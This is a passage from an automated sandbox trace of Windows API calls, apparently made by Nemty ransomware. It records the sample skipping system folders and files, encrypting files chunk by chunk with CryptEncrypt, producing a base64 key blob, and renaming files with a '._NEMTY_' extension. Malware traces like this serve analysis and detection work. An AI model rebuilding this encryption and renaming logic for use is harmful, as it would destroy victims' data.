lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.889] CloseHandle (hObject=0xffffffff) returned 0 [0092.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0092.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0092.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0092.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0092.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0092.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0092.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0092.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0092.889] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png._nemty_kgobjgd_")) returned 0 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="...") returned 1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="windows") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="rsa") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="NTDETECT.COM") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntldr") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="MSDOS.SYS") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="IO.SYS") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="AUTOEXEC.BAT") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="desktop.ini") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="CONFIG.SYS") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RECYCLER") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="BOOTSECT.BAK") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="programdata") returned -1 [0092.890] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="appdata") returned -1 [0092.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0092.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0092.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0092.891] Sleep (dwMilliseconds=0x5) [0092.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb0460d0, dwHighDateTime=0x1d561e7)) [0092.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb0460d0, dwHighDateTime=0x1d561e7)) [0092.896] GetLastError () returned 0x5 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.896] GetLastError () returned 0x5 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0092.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0092.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Plkxk/UtgrN0OJjsZlLx0XKZmHw3QUV8Wr1rx5hftDM6BTokwHAGeBxVVZRU0QFn\r\nop6BMNOUgI50SOXRE2CQy+G3vvqr4v2cle04MOJLXHngQvq14S2kT88+XfalFwJ+\r\nht9y0x9S0aWBgU7Uj5jWNRgRi4LpSl2YYdwhCFHrzptbc6peHjyNzFNfeZdhMkmv\r\nIJIvPRu4HRNvxxdt/eTMgzX5zajoWqFibcnFtgWKeMySPeAu59/wv+xYdkHiX8V0\r\nWWYx1qjHsDmap6Ol+08Tsyh2DKF+OclngpYUuOB7VELKpbM2gktNeHFBomtWuld7\r\nqrFLiEMpFOjjP/sF9yspBw==\r\n", pcchString=0x653e91c) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0092.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0092.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.896] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.897] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | 